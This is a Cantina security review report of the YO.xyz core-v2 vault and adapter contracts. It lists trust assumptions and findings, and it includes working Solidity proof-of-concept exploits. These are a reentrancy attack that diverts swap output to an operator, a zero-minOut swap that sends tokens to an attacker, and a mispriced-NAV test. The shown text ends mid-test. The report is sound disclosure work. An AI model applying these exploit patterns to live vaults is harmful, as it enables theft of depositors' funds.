



YO.xyz: core-v2 re-review

Security Review

Cantina Managed review by:

Alireza Arjmand, Lead Security Researcher

MostafaYassin, Associate Security Researcher

June 23, 2026

Contents

1	Introduction	2
1.1	About Cantina	2
1.2	Disclaimer	2
1.3	Risk assessment	2
1.3.1	Severity Classification	2
2	Security Review Summary	3
2.1	Scope	3
2.1.1	Scope and Code overview	3
2.2	Trust assumptions	3
2.2.1	Redemption queue (YoVault)	3
2.2.2	Strategy execution (manage)	5
2.2.3	Oracle / updater (YoOracle)	5
2.2.4	Adapters (operator inputs / lifecycle)	6
2.2.5	Owner config (trusted setup)	7
3	Overview	9
4	Findings	10
4.1	Medium Risk	10
4.1.1	Cross-adapter reentrancy can let one swap's output satisfy another swap's balance-delta check	10
4.2	Low Risk	14
4.2.1	Operator-trusted swaps can succeed with zero vault output when <code>minOut</code> is zero . .	14
4.2.2	Queued redemptions settle at the request-time price: <code>fulfillRedeem</code> can socialize losses or leave <code>totalPendingAssets</code> stale	15
4.2.3	Queued redemption shares stay in <code>totalSupply</code> , so <code>totalAssets()</code> values them at the live price instead of their locked claim	15
4.2.4	Gateway <code>redeem</code> skips <code>minAssetsOut</code> on the async path	18
4.2.5	<code>removeYoVault</code> calls the vault's <code>asset()</code> and can be bricked by a malicious or broken vault	18
4.3	Informational	19
4.3.1	<code>redeem()</code> returns <code>REQUEST_ID</code> instead of assets which makes the contracts not ERC-4626 compliant	19
4.3.2	When <code>authority</code> equals <code>address(0)</code> , <code>manage()</code> is bricked	19
4.3.3	Re-requesting a redemption resets the previous request's timeline (fxSAVE and IPOR)	21

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

From Jun 14th to Jun 25th the Cantina team conducted a review of `core-v2` on commit hash `de928b00`. The team identified a total of **9** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	5	0	5
Gas Optimizations	0	0	0
Informational	3	0	3
Total	9	1	8

2.1 Scope

The security review had the following components in scope for `core-v2` on commit hash `de928b00`:

2.1.1 Scope and Code overview

Severity: Informational

Context: (No context files were provided by the reviewer)

```
src/  
├── adapters/  
│   ├── base/YoAdapterBase.sol  
│   ├── erc4626/YoERC4626Adapter.sol  
│   ├── fxsave/YoFxSaveAdapter.sol  
│   ├── fxsave/YoFxSaveRedeemer.sol  
│   ├── ipor/YoIPORAdapter.sol  
│   ├── lido/YoLidoAdapter.sol  
│   ├── morpho/YoMorphoAdapter.sol  
│   ├── swap/YoSwapAdapter.sol  
│   └── yousdt/YoUSDTAdapter.sol  
├── oracles/YoChainlinkOracle.sol  
└── YoVault.sol (approveToken + setApprovalRegistry only)
```

Plus, in `src/YoVault.sol` (**partial** — only these two functions and their associated events/errors):

- `approveToken(address token, address spender, uint256 amount)` .
- `setApprovalRegistry(IYoApprovalRegistry newRegistry)` .

Partially reviewed as trust dependencies but not mentioned in scope: the registry contracts (`YoApprovalRegistry` , `YoERC4626VaultRegistry` , `YoMorphoMarketRegistry` , `YoSwapPairRegistry` , `YoRegistry`), `ChainlinkCompositeAggregator` and the Chainlink feeds, the `RolesAuthority` wired to `manage` , and the external protocols themselves (Morpho Blue, Lido, fx `SavingFxUSD` / `FxUSDBasePool` , IPOR Fusion, ERC-4626 venues, swap aggregators).

2.2 Trust assumptions

The list below includes trust assumptions made during the security review. While this report covers many key points, it is not exhaustive.

2.2.1 Redemption queue (YoVault)

1. `requestRedeem(shares, receiver, owner)` is keyed by `receiver` :

References:

- `src/YoVault.sol:187-211` .
- `src/YoVault.sol:236-247` .
- `src/YoGateway.sol:92-99` .

`requestRedeem(shares, receiver, owner)` only enforces `owner == msg.sender` . The pending redemption is keyed by `receiver` , and `cancelRedeem(receiver, ...)` returns escrowed shares to `receiver` , not to the funding `owner` .

If `owner != receiver` , the caller must accept that the receiver keeps the shares if the request is canceled. Otherwise, callers must pass `owner == receiver` .

This is the same ownership mix-up exposed through `YoGateway.redeem()` : the gateway pulls shares from the user, then queues with `requestRedeem(shares, receiver, address(this))` . If the queued request is canceled, the user-supplied payout receiver gets the escrowed shares, not the original user who funded the redemption.

2. `fulfillRedeem(receiver, shares, assetsWithFee)` trusts the operator to pass a proportional pair:

References:

- `src/YoVault.sol:218-229` .

`fulfillRedeem(receiver, shares, assetsWithFee)` lets the operator supply `shares` and `assetsWithFee` independently. The only bounds are:

```
shares <= pending.shares;
assetsWithFee <= pending.assets;
```

There is no on-chain ratio check between the two values. The operator must pass a proportional pair. If it does not, the call can strand pending shares or pending assets and leave accounting that cannot be cleanly fulfilled or canceled.

3. Fulfillment amount and timing are operator-driven:

References:

- `src/YoVault.sol:206-211` .
- `src/YoVault.sol:218-229` .
- `src/YoVault.sol:236-247` .

Queued redemption payout is whatever the operator passes to `fulfillRedeem` , bounded only by `assetsWithFee <= pending.assets` . The operator must pay the economically correct amount across NAV moves, and must actually call `fulfillRedeem` or `cancelRedeem` .

There is no autonomous liveness guarantee. Once shares are escrowed, users depend on authorized operators to settle or cancel the request.

4. Queued redemptions do not snapshot withdrawal fee terms:

References:

- `src/YoVault.sol:193-209` .
- `src/YoVault.sol:252-270` .
- `src/YoVault.sol:402-421` .

When a redemption queues, the vault records pending shares and gross assets, but it does not record the withdrawal fee or fee recipient active at request time. At fulfillment, `_withdraw()` uses the current `feeOnWithdraw` and `feeRecipient`.

Queued users therefore accept future fee terms after they have already given up control of their shares.

2.2.2 Strategy execution (manage)

5. `manage(target, data, value)` gates only `(target, selector)` :

References:

- `src/YoVault.sol:100-115` .
- `src/YoVault.sol:121-139` .
- `src/interfaces/IMorpho.sol:50` .

`manage(target, data, value)` checks only that the caller is authorized for the target and selector. The calldata arguments, amounts, recipients, and route-specific semantics are not constrained by `YoVault` .

The operator must send correct calldata, amounts, and routing.

Concrete Morpho setup example: onboarding expects the vault to call `IMorpho.setAuthorization(address(YoMorphoAdapter), true)` . If a hot operator is granted `manage()` access to the Morpho `setAuthorization` selector, the operator can instead forward calldata that authorizes an attacker-controlled address. Because Morpho authorizations are keyed by `msg.sender` , the attacker becomes authorized for the `YoVault` 's Morpho positions.

6. Liquidity buffer is operator-maintained:

References:

- `src/YoVault.sol:100-115` .
- `src/YoVault.sol:195-211` .
- `src/YoVault.sol:455-458` .

The operator may deploy the whole liquid balance through authorized strategy calls. There is no on-chain reserved floor that forces a minimum liquid balance to remain available for instant redemptions.

The operator must leave enough liquid assets for expected instant redemption demand.

7. `approveToken(token, spender, amount)` trusts operator-chosen spender and amount within registry caps:

References:

- `src/YoVault.sol:147-158` .
- `src/registries/YoApprovalRegistry.sol:24-34` .

`approveToken(token, spender, amount)` is bounded by the approval registry cap, but the operator still chooses the spender and amount inside that cap.

The registry owner must configure caps conservatively, and operators must avoid granting unnecessary live allowances.

2.2.3 Oracle / updater (YoOracle)

8. `updateSharePrice(vault, price)` trusts off-chain NAV computation:

References:

- `src/YoOracle.sol:81-121` .
- `src/YoVault.sol:275-284` .
- `src/YoVault.sol:322-333` .

The updater must compute the correct NAV per share, including funds sitting in adapters and strategies, and must push updates on time.

There is no on-chain holdings reconciliation that proves the pushed price matches actual strategy balances, and downstream vault logic relies on the updater being correct.

9. Genesis price is unvalidated:

References:

- `src/YoOracle.sol:90-99` .

The first oracle push seeds the initial price. That first value is not validated against on-chain holdings.

The updater must seed a correct initial price.

2.2.4 Adapters (operator inputs / lifecycle)

10. Swap adapter trusts aggregator calldata and `minOut` :

References:

- `src/adapters/swap/YoSwapAdapter.sol:56-117` .
- `src/registries/YoSwapPairRegistry.sol:24-42` .

`YoSwapAdapter` accepts operator-supplied `aggregatorCalldata` and `minOut` . In `OPERATOR_TRUSTED` mode, the oracle floor is skipped and `minOut` can be zero.

The operator must route `tokenOut` to the vault or adapter and must ensure the aggregator consumes exactly `amountIn` .

If the route sends output to another address and `minOut == 0` , the vault can spend `tokenIn` while receiving zero `tokenOut` , and the adapter-level check still passes.

11. IPOR adapter lifecycle is operator-driven:

References:

- `src/interfaces/IYoIPORAdapter.sol:9-28` .
- `src/interfaces/external/IIPORWithdrawManager.sol:4-24` .
- `src/adapters/ipor/YoIPORAdapter.sol:69-80` .

`YoIPORAdapter.claim(shares)` is not cross-checked against the pending request. `requestShares` is driven outside the adapter via `manage` .

The operator must not double-request in a way that overwrites request state, and must claim within the valid window.

12. Lido adapter lifecycle is operator-driven:

References:

- `src/interfaces/IYoLidoAdapter.sol:9-18` .
- `src/adapters/lido/YoLidoAdapter.sol:101-130` .
- `src/adapters/lido/YoLidoAdapter.sol:138-158` .

`YoLidoAdapter` requires the operator to drive the multi-step unstake lifecycle correctly: request, wait for finalization, and claim with the correct `requestId` .

The operator must ensure withdrawal queue NFT approval is set and must not claim before finalization.

13. ERC4626 and IPOR adapters trust registry asset compatibility:

References:

- `src/registries/YoERC4626VaultRegistry.sol:21-31` .
- `src/adapters/erc4626/YoERC4626Adapter.sol:36-51` .
- `src/adapters/ipor/YoIPORAdapter.sol:39-61` .

The adapters do not independently prove that the yield vault asset matches the YO vault asset.

The registry must only allow asset-compatible ERC4626/IPOR vaults.

2.2.5 Owner config (trusted setup)

14. Owner-controlled configuration must be correct:

References:

- `src/registries/YoApprovalRegistry.sol:24-34` .
- `src/registries/YoERC4626VaultRegistry.sol:21-31` .
- `src/registries/YoMorphoMarketRegistry.sol:22-32` .
- `src/registries/YoSwapPairRegistry.sol:24-42` .
- `src/YoOracle.sol:56-72` .
- `src/YoVault.sol:163-166` .
- `src/YoVault.sol:268-270` .
- `src/base/AuthUpgradeable.sol:70-86` .

Trusted setup includes registries, allowlists, approval caps, swap `PairMode` , oracle feeds, heartbeat settings, `maxChangeBps` , and `feeRecipient` .

The owner must configure:

- Allowlists and approval caps conservatively.
- Oracle feeds, heartbeat, and max-change limits correctly.
- `feeRecipient` to an address that can receive the asset, otherwise fee-bearing operations can DoS.
- A non-zero authority, otherwise `manage` can be bricked.
- Ownership transfer to a non-zero address.

15. `yoUSDT` depends on off-chain liquidity management:

References:

- `src/yoUSDT.sol:15-19` .
- `src/yoUSDT.sol:34-45` .

`yoUSDT` relays 95% of deposits out. The operator must reclaim or top up liquidity off-chain to fund redemptions.

There is no on-chain guarantee that enough USDT remains locally available when users redeem.

3 Overview

YO is an oracle-priced ERC-4626 vault protocol; the in-scope contracts are how a vault deploys idle capital into external venues and pulls it back. They share one design: each adapter is **immutable, stateless, and shared across vaults**, invoked only via `YoVault.manage(...)` — so `msg.sender` is the calling vault, which the adapter forces as owner/recipient of every position, pulling funds within a pre-granted allowance and returning them in the same transaction (holding nothing in between).

Adapters (shared base `YoAdapterBase` : `rescue` / `rescueETH` + reentrancy guard):

- **YoERC4626Adapter** — deposit/withdraw into allowlisted ERC-4626 vaults (MetaMorpho, Yearn v3, ...).
- **YoIPORAdapter** — deposit + async claim (`redeemFromRequest`) for IPOR Fusion PlasmaVaults.
- **YoLidoAdapter** — stake WETH→stETH, request unstake (→ withdrawal NFT), claim NFT→WETH.
- **YoMorphoAdapter** — supply/withdraw on the Morpho Blue singleton (per-vault market allowlist).
- **YoFxSaveAdapter** (+ **YoFxSaveRedeemer**) — fxSAVE instant (fee) / cooldown redeem; a per-vault CREATE2 redeemer isolates locked positions.
- **YoSwapAdapter** — aggregator swaps (1inch/Odos/...); output verified by vault balance-delta $\geq$ `minOut` , with an oracle floor on `ORACLE_CHECKED` pairs.
- **YoUSDTAdapter** — standalone USDT→yoUSDT-vault forwarder; the outlier (not `manage` -gated, no shared base).

Approval (in-scope `YoVault` functions):

- **approveToken** — sets a vault→spender allowance, capped by `YoApprovalRegistry` (amount `0` always allowed, so allowances can be revoked).
- **setApprovalRegistry** — points the vault at that registry (zero address disables it).

Oracle:

- **YoChainlinkOracle** — Chainlink USD feeds per asset with heartbeat/staleness checks; `getQuote` produces the quote that sets `YoSwapAdapter` 's slippage floor (feeds may be native or the composite aggregator).

4 Findings

4.1 Medium Risk

4.1.1 Cross-adapter reentrancy can let one swap's output satisfy another swap's balance-delta check

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Description: `YoSwapAdapter.swap()` validates output by measuring the calling vault's global `tokenOut` balance delta across an operator-controlled aggregator call:

```
uint256 vaultOutBefore = outToken.balanceOf(vault);
//...
aggregator.functionCall(aggregatorCalldata);
//...
amountOut = outToken.balanceOf(vault) - vaultOutBefore;
if (amountOut < minOut) {
    revert InsufficientOutput(amountOut, minOut);
}
```

That balance belongs to the vault, not to the current swap. If another authorized swap sends the same `tokenOut` to the vault while the first adapter is still inside `aggregator.functionCall(...)`, the first adapter can count the second adapter's output as its own.

The required call pattern is:

1. An authorized operator starts `adapter1.swap()`.
2. The `adapter1` route sends its real `tokenOut` to the operator or another non-vault recipient.
3. During `adapter1`'s aggregator call, execution re-enters `YoVault.manage()` and starts `adapter2.swap()`.
4. `adapter2` honestly sends `tokenOut` to the vault.
5. `adapter2` passes its own output check.
6. Control returns to `adapter1`, which sees the vault's balance increased by `adapter2` and also passes.

The result is that the vault pays `tokenIn` for both swaps but receives `tokenOut` for only one swap; the other swap's output is redirected away from the vault.

This is a low-severity issue because it requires a malicious or compromised authorized operator and a callable authorization context during the aggregator callback. A normal EOA operator's permissions do not automatically carry into aggregator execution. The issue becomes reachable if the authorized operator is a contract, or if an authorized EOA uses EIP-7702 delegated code and the aggregator calls back into that account so the nested `YoVault.manage()` call has `msg.sender == operator`.

Preconditions:

- The operator is authorized for `YoVault.manage(address,bytes,uint256)` to call `swap()` on both adapter instances.
- The aggregator route can call back into the authorized operator context before returning.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
```

```

import { YoSwapAdapter } from "src/adapters/swap/YoSwapAdapter.sol";
import { IYoSwapAdapter } from "src/interfaces/IYoSwapAdapter.sol";
import { IYoSwapOracle } from "src/interfaces/IYoSwapOracle.sol";
import { IYoSwapPairRegistry } from "src/interfaces/IYoSwapPairRegistry.sol";
import { YoVault } from "src/YoVault.sol";

import { YoVaultBase_Test } from "../../yo-vault/YoVaultBase.t.sol";

contract CrossAdapterSwapReentrancyOracleCheckedPoCTest is YoVaultBase_Test {
    uint256 internal constant AMOUNT_IN = 1000e6;
    uint256 internal constant FAIR_OUT = 1000e6;

    YoSwapAdapter internal adapter1;
    YoSwapAdapter internal adapter2;
    ReentrantSwapAggregator internal reentrantAggregator;
    ReentrantSwapOperator internal operator;

    function setUp() public override {
        super.setUp();

        reentrantAggregator = new ReentrantSwapAggregator();
        adapter1 = new YoSwapAdapter({
            _aggregator: address(reentrantAggregator),
            _oracle: IYoSwapOracle(address(mockOracle)),
            _registry: IYoSwapPairRegistry(address(pairRegistry)),
            _maxSlippageBps: defaults.MAX_SLIPPAGE_BPS(),
            _yoRegistry: yoRegistry
        });
        adapter2 = new YoSwapAdapter({
            _aggregator: address(reentrantAggregator),
            _oracle: IYoSwapOracle(address(mockOracle)),
            _registry: IYoSwapPairRegistry(address(pairRegistry)),
            _maxSlippageBps: defaults.MAX_SLIPPAGE_BPS(),
            _yoRegistry: yoRegistry
        });

        operator = new ReentrantSwapOperator(yoVault, address(reentrantAggregator),
            ↪ address(adapter1));

        _allowPair(address(yoVault), address(usdc), address(usdt));
        mockOracle.setQuote(address(usdc), address(usdt),
            ↪ defaults.ORACLE_QUOTE_1_TO_1());

        _setApproval(address(yoVault), address(usdc), address(adapter1), AMOUNT_IN);
        _setApproval(address(yoVault), address(usdc), address(adapter2), AMOUNT_IN);
        vm.startPrank(users.owner);
        yoVault.approveToken(address(usdc), address(adapter1), AMOUNT_IN);
        yoVault.approveToken(address(usdc), address(adapter2), AMOUNT_IN);
        vm.stopPrank();

        _authorize(address(operator), address(yoVault), MANAGE_SINGLE_SELECTOR);
        _authorize(address(operator), address(adapter1), IYoSwapAdapter.swap.selector);
        _authorize(address(operator), address(adapter2), IYoSwapAdapter.swap.selector);

        usdc.mint(address(yoVault), 2 * AMOUNT_IN);
        usdt.mint(address(reentrantAggregator), 2 * FAIR_OUT);
    }

    function test_PoC_OracleCheckedCrossAdapterReentrancyDoubleCountsNestedSwapOutput()
    ↪ external {
        operator.setReentry(address(adapter2),
            ↪ _honestSwapCallDataFor(address(adapter2)));

        uint256 vaultUsdcBefore = usdc.balanceOf(address(yoVault));
        uint256 vaultUsdtBefore = usdt.balanceOf(address(yoVault));
    }

```

```

uint256 operatorUsdtBefore = usdt.balanceOf(address(operator));

uint256 adapter1Reported = operator.attack(_maliciousSwapCalldata());

assertEq(operator.lastReentryAmountOut(), FAIR_OUT, "adapter2 reports honest
↳ output");
assertEq(adapter1Reported, FAIR_OUT, "adapter1 counts adapter2 output");
assertEq(usdc.balanceOf(address(yoVault)), vaultUsdcBefore - 2 * AMOUNT_IN,
↳ "vault pays both swap inputs");
assertEq(usdt.balanceOf(address(yoVault)), vaultUsdtBefore + FAIR_OUT, "vault
↳ receives one swap output");
assertEq(usdt.balanceOf(address(operator)), operatorUsdtBefore + FAIR_OUT,
↳ "operator receives stolen output");
assertEq(usdc.balanceOf(address(adapter1)), 0, "adapter1 has no tokenIn dust");
assertEq(usdc.balanceOf(address(adapter2)), 0, "adapter2 has no tokenIn dust");
assertEq(usdt.balanceOf(address(adapter1)), 0, "adapter1 has no tokenOut dust");
assertEq(usdt.balanceOf(address(adapter2)), 0, "adapter2 has no tokenOut dust");
}

function test_SameAdapterReentryIsBlockedByAdapterLocalGuard() external {
    operator.setReentry(address(adapter1),
↳ _honestSwapCalldataFor(address(adapter1)));

    vm.expectRevert();
    operator.attack(_maliciousSwapCalldata());
}

function _maliciousSwapCalldata() internal view returns (bytes memory) {
    bytes memory aggregatorCalldata = abi.encodeCall(
        ReentrantSwapAggregator.executeMalicious,
        (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, address(operator),
↳ address(operator))
    );
    return abi.encodeCall(
        IYoSwapAdapter.swap,
        (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, type(uint256).max,
↳ aggregatorCalldata)
    );
}

function _honestSwapCalldataFor(address) internal view returns (bytes memory) {
    bytes memory aggregatorCalldata =
        abi.encodeCall(ReentrantSwapAggregator.executeHonest, (address(usdc),
↳ address(usdt), AMOUNT_IN, FAIR_OUT));
    return abi.encodeCall(
        IYoSwapAdapter.swap,
        (address(usdc), address(usdt), AMOUNT_IN, FAIR_OUT, type(uint256).max,
↳ aggregatorCalldata)
    );
}
}

contract ReentrantSwapAggregator {
    using SafeERC20 for IERC20;

    function executeHonest(address tokenIn, address tokenOut, uint256 amountIn, uint256
↳ amountOut) external {
        IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn);
        IERC20(tokenOut).safeTransfer(msg.sender, amountOut);
    }

    function executeMalicious(
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        uint256 amountOut,

```

```

        address executor,
        address dstReceiver
    )
    external
    {
        IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn);
        IReentrantSwapExecutor(executor).execute();
        IERC20(tokenOut).safeTransfer(dstReceiver, amountOut);
    }
}

interface IReentrantSwapExecutor {
    function execute() external;
}

contract ReentrantSwapOperator is IReentrantSwapExecutor {
    YoVault internal immutable vault;
    address internal immutable aggregator;
    address internal immutable adapter1;

    address internal reenterAdapter;
    bytes internal reenterCalldata;
    bool internal entered;
    uint256 public lastReentryAmountOut;

    constructor(YoVault _vault, address _aggregator, address _adapter1) {
        vault = _vault;
        aggregator = _aggregator;
        adapter1 = _adapter1;
    }

    function setReentry(address adapter, bytes calldata data) external {
        reenterAdapter = adapter;
        reenterCalldata = data;
    }

    function attack(bytes calldata adapter1SwapCalldata) external returns (uint256
    ↪ adapter1Reported) {
        entered = false;
        lastReentryAmountOut = 0;
        bytes memory ret = vault.manage(adapter1, adapter1SwapCalldata, 0);
        adapter1Reported = abi.decode(ret, (uint256));
    }

    function execute() external {
        require(msg.sender == aggregator, "only aggregator");
        if (entered) return;
        entered = true;
        bytes memory ret = vault.manage(reenterAdapter, reenterCalldata, 0);
        lastReentryAmountOut = abi.decode(ret, (uint256));
    }
}

```

tests/integration/concrete/swap-adapter/swap/crossAdapterReentrancyOracleCheckedPoC.t.sol

Recommendation: Do not use the vault's global `tokenOut` balance delta as the accounting boundary for a swap. Require routes to send output to the adapter, record the adapter's `tokenOut` balance before and after the aggregator call, transfer only the current-call adapter output delta to the vault, and enforce `adapterOutDelta >= minOut`.

In addition to that, consider adding a non-reentrant modifier to `manage()`.

YO.xyz: This is the commit that contains the fix and a test against the reported finding: [7b023145](#).

Cantina Managed: Verified fixes.

4.2 Low Risk

4.2.1 Operator-trusted swaps can succeed with zero vault output when `minOut` is zero

Severity: Low Risk

Context: (No context files were provided by the reviewer)

Description: `YoSwapAdapter.swap()` forwards fully operator-controlled `aggregatorCalldata` to the immutable aggregator and validates success only after execution by measuring the calling vault's `tokenOut` balance delta:

```
aggregator.functionCall(aggregatorCalldata);

uint256 adapterOut = outToken.balanceOf(address(this));
if (adapterOut > 0) {
    outToken.safeTransfer(vault, adapterOut);
}

amountOut = outToken.balanceOf(vault) - vaultOutBefore;
//...
if (amountOut < minOut) {
    revert InsufficientOutput(amountOut, minOut);
}
```

In `ORACLE_CHECKED` mode, `minOut` is constrained by the oracle floor. In `OPERATOR_TRUSTED` mode, the oracle branch is skipped and `minOut` is the only on-chain output bound. The adapter does not reject `minOut == 0`.

As a result, an authorized swap route with `minOut = 0` can spend the vault's `tokenIn`, route all `tokenOut` to an arbitrary recipient encoded in aggregator calldata, and still pass because the measured vault output is `0`, which is not less than `minOut`.

Proof of Concept:

```
contract SwapMinOutZeroPoCTest is Integration_Test {
    function _execCalldata(uint256 amountIn) internal pure returns (bytes memory) {
        return abi.encodeWithSelector(MockOneInchRouter.execute.selector, amountIn);
    }

    function test_PoC_MinOutZeroAllowsSwapWithNoVaultOutput() external {
        _allowPairTrusted(users.vault, address(usdc), address(usdt));

        uint256 amountIn = defaults.SWAP_AMOUNT_IN();
        mockAggregator.setSwap(address(usdc), address(usdt), amountIn, users.eve);

        uint256 vaultUsdcBefore = usdc.balanceOf(users.vault);
        uint256 vaultUsdtBefore = usdt.balanceOf(users.vault);
        uint256 eveUsdtBefore = usdt.balanceOf(users.eve);

        vm.prank(users.vault);
        uint256 amountOut =
            swapAdapter.swap(address(usdc), address(usdt), amountIn, 0,
                ↪ type(uint256).max, _execCalldata(amountIn));

        assertEq(amountOut, 0, "adapter accepts zero vault output");
        assertEq(usdc.balanceOf(users.vault), vaultUsdcBefore - amountIn, "vault spent
            ↪ tokenIn");
        assertEq(usdt.balanceOf(users.vault), vaultUsdtBefore, "vault received no
            ↪ tokenOut");
        assertEq(usdt.balanceOf(users.eve), eveUsdtBefore + amountIn, "attacker received
            ↪ tokenOut");
    }
}
```

```
}  
}
```

Recommendation: Reject zero-output swaps:

```
if (minOut == 0) revert InvalidMinOut();
```

YO.xyz: Acknowledged. The pairs that are and will be configured as operator-trusted only involve exotic assets that are harvested as rewards.

Cantina Managed: Acknowledged.

4.2.2 Queued redemptions settle at the request-time price: `fulfillRedeem` can socialize losses or leave `totalPendingAssets` stale

Severity: Low Risk

Context: [YoVault.sol#L223-L225](#)

Description: `requestRedeem` snapshots the payout at the **request-time** oracle price into `pending.assets` and `totalPendingAssets` ([src/YoVault.sol#L206-L209](#)), via `super.previewRedeem(shares)` ([#L193](#)). `fulfillRedeem` then pays an operator-supplied `assetsWithFee ≤ pending.assets` and decrements both fields by that amount ([#L223-L225](#)); it **never re-queries the oracle**. So the settlement price is the operator's choice, up to the request-time value, which creates two distinct hazards when the share price *falls* between request and fulfillment.

Impact:

- **(1) Settle at the original (higher) price:** queued users exit at the stale price and the shortfall is socialized onto the remaining holders, which favors early exiters. This is **especially dangerous if the underlying protocol is hacked or depegs**: anyone who queued before the drop can be paid at the pre-drop value, draining honest remaining holders.
- **(2) Settle at the new (lower) price:** the request was recorded at the higher amount but only the lower amount is decremented, so `pending.assets / totalPendingAssets` keep a residual even though the user's obligation is fully met. `totalPendingAssets` stays non-zero with no outstanding withdrawal, over-reserving liquidity (`_getAvailableBalance` understated) until someone calls `cancelRedeem` purely to zero it out, which is unintuitive.

Operator-gated and conditional on a price drop, hence Low. However, case (1) can cause material loss during an underlying-protocol incident.

Recommendation: Store `shares` in the pending request and compute the payout from the **current** oracle price at `fulfillRedeem`, capped at the request-time amount (users never get more than quoted; remaining holders are not diluted on a drop). Reconcile `totalPendingAssets` against the actually-settled amount so it returns to zero when no obligation remains, without requiring a separate `cancelRedeem`. Document the intended settlement-price policy explicitly.

YO.xyz: Acknowledged. This is a design decision mentioned in [our docs](#).

Cantina Managed: Acknowledged.

4.2.3 Queued redemption shares stay in `totalSupply`, so `totalAssets()` values them at the live price instead of their locked claim

Severity: Low Risk

Context: [YoVault.sol#L206-L210](#)

Description: When a redemption is queued, `requestRedeem` escrows the shares by transferring them to the vault (it does not burn them) and records the claim at the request-time price ([src/YoVault.sol#L204-L209](#)). Those shares therefore remain in `totalSupply`. `totalAssets()` is computed as `totalSupply * oraclePrice / 10**decimals` ([src/YoVault.sol#L276-L279](#)), so it values the escrowed shares at the **current** oracle price even though their payout is locked at the (lower) request-time price. Once the price rises after a redemption is queued, `totalAssets()` reports more than the protocol's real backing, overstating it by exactly the queued shares' appreciation.

Impact:

- `totalAssets()` overstates real assets by `queuedShares * (currentPrice - lockedPrice)`. Any consumer that trusts it gets a wrong value: integrators, dashboards, accounting layers, and most importantly an off-chain price updater that derives the share price from a NAV-over-supply computation.
- If the updater prices live shares correctly (attributing the gain only to non-queued holders), `totalAssets()` simply overstates AUM, creating a reported-versus-real solvency gap.
- If the updater derives the price from a `totalSupply`-inclusive NAV, the gain is diluted across the queued shares (whose claim is capped), so live holders are under-rewarded and the surplus is stranded or handed to later entrants.
- The on-chain mint and redeem paths use the oracle price directly (not `totalAssets()`), so a new depositor is priced fairly at the oracle and is not harmed by `totalAssets()` in isolation. The harm flows through whatever consumes `totalAssets()` / the derived NAV.
- This is most dangerous during an underlying-protocol incident: if real backing drops, the queued shares are still valued at the stale-high price inside `totalAssets()`, widening the gap between reported and real value.

Proof of Concept: Alice and Bob deposit 10 each at 1:1. The operator deploys 15 into a strategy so the vault is illiquid, then Bob queues a redemption (claim locked at 10). 30 assets are donated and the oracle price quadruples. `totalAssets()` reports 80 while real backing is 50; the 30 phantom equals Bob's 10 queued shares revalued at 4 minus his locked claim of 10. Charlie then deposits and is priced at the oracle (4:1), confirming the harm is the misstated NAV, not Charlie's mint.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import { Test } from "forge-std/src/Test.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { YoVault } from "src/YoVault.sol";

contract QueuedSharesTotalAssetsPoC is Test {
    address internal constant ORACLE = 0x6E879d0Cc85085A709eBf5539224f53d0D396B0; //
    ↳ YoVault.ORACLE_ADDRESS

    YoVault internal vault;
    MockAsset internal asset;
    address internal owner = makeAddr("owner");
    address internal alice = makeAddr("alice");
    address internal bob = makeAddr("bob");
    address internal charlie = makeAddr("charlie");
    address internal strategy = makeAddr("strategy"); // models deployed (illiquid) funds

    function setUp() public {
        asset = new MockAsset();
        MockOracle mock = new MockOracle();
        vm.etch(ORACLE, address(mock).code);
        MockOracle(ORACLE).setPrice(1e18); // 1e18 == 1 asset per share (vault is 18
        ↳ decimals)
    }
}
```

```

YoVault impl = new YoVault();
bytes memory initData = abi.encodeCall(YoVault.initialize,
    ↪ (IERC20(address(asset)), owner, "yoVault", "yoV"));
vault = YoVault(payable(address(new ERC1967Proxy(address(impl), initData))));
}

function _deposit(address who, uint256 assets) internal returns (uint256 shares) {
    asset.mint(who, assets);
    vm.startPrank(who);
    asset.approve(address(vault), assets);
    shares = vault.deposit(assets, who);
    vm.stopPrank();
}

function test_totalAssets_overstates_queued_shares() public {
    // 1) Alice and Bob each deposit 10 at 1:1 -> 10 shares each.
    assertEq(_deposit(alice, 10e18), 10e18);
    assertEq(_deposit(bob, 10e18), 10e18);
    assertEq(vault.totalSupply(), 20e18);

    // 2) Operator deploys 15 into a strategy, leaving the vault illiquid (5 < 10).
    vm.prank(address(vault));
    asset.transfer(strategy, 15e18);
